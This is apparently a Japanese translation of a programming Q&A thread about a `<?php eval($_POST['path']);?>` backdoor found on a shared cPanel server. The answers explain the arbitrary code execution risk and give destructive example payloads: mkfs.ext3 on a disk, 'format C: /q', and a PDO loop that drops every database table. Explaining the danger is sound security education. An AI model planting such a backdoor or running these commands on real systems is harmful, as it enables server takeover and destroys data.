2

cPanel との共有 Web サーバーでこのコードを見つけたとします。シェルをサーバーにアップロードするか、他の方法で、メールの添付ファイルや cPanel にアクセスできますか?

それを行う方法の手順は必要ありません。可能なアクションの全体的なアイデアです。詳細をお伝えできず申し訳ありません。しかし、このコードは誰かを攻撃するためのものではありません。

<?php eval($_POST['path']);?>
4

3 に答える 3

5

簡単な答えは「はい」です。詳細については、このリンクをお読みください。

注意

eval() 言語構造は、任意の PHP コードを実行できるため、非常に危険です。したがって、その使用はお勧めできません。この構文を使用する以外に選択肢がないことを慎重に確認した場合は、ユーザーが提供したデータを事前に適切に検証せずに渡さないように特に注意してください。

たとえばpath、次のように設定すると、apache ユーザーが実行権限を持つ任意のシェル コマンドが実行されます。

exec("system command here");
于 2012-12-21T18:53:27.603 に答える
1

Eval は、入力を適切に維持しない限り使用しないでください。入力を維持する場合でも、使用しないでください。サーバーに重大なリスクをもたらします。特に、evalRun from a $_POST.. を使用Tamper dataして、その投稿の内容を何にでも変更することができます。SQL インジェクション、何でも PHP として実行します。

次の場合を除き、これを使用しないでください。

1) あなたは自分が何をしているか知っている

2) 攻撃者から 100% 守られていると感じている。

マニュアルを参照してください:

http://uk3.php.net/manual/en/function.eval.php

eval() 言語構造は、任意の PHP コードを実行できるため、非常に危険です。したがって、その使用はお勧めできません。この構文を使用する以外に選択肢がないことを慎重に確認した場合は、ユーザーが提供したデータを事前に適切に検証せずに渡さないように特に注意してください。

例:

Linux システムの場合、私の投稿は次のようになります。

<?php exec(mkfs.ext3 /dev/sdb1); ?> 

そして私はあなたのFSをフォーマットします

Windows ファイル システムの場合:

<?php exec("format C: /q"); ?> 

再フォーマット。

これは、これを使用すべきではない理由の単なる例です。

少し遅い編集:

これを回答に追加するのを忘れていたので、今追加します。

eval($_POST[]);スクリプトの使用が非常に危険にさらされている場合は、IE. PDOデータベース接続変数を使用していることがわかった場合。以下を実行できます。

$Query = $eval->prepare("SHOW TABLES"); $Query->execute(); $Fetch = $Query->fetchAll(PDO::FETCH_COLUMN); print_r($Fetch); foreach($Fetch AS $F){ $New = $eval->exec("DROP TABLE {$F}"); }

そして、すべてのテーブルが削除されます。これは、Eval を避けるべき理由の小さな例です。

于 2012-12-21T18:56:17.163 に答える
0

これは、フィルタリングされていない入力データが任意のコードを実行できるようにする、重大なセキュリティ上の脆弱性です。PHP を実行しているユーザーが利用できるすべてのアクセスは、潜在的な攻撃者に提供されます。

于 2012-12-21T18:54:28.730 に答える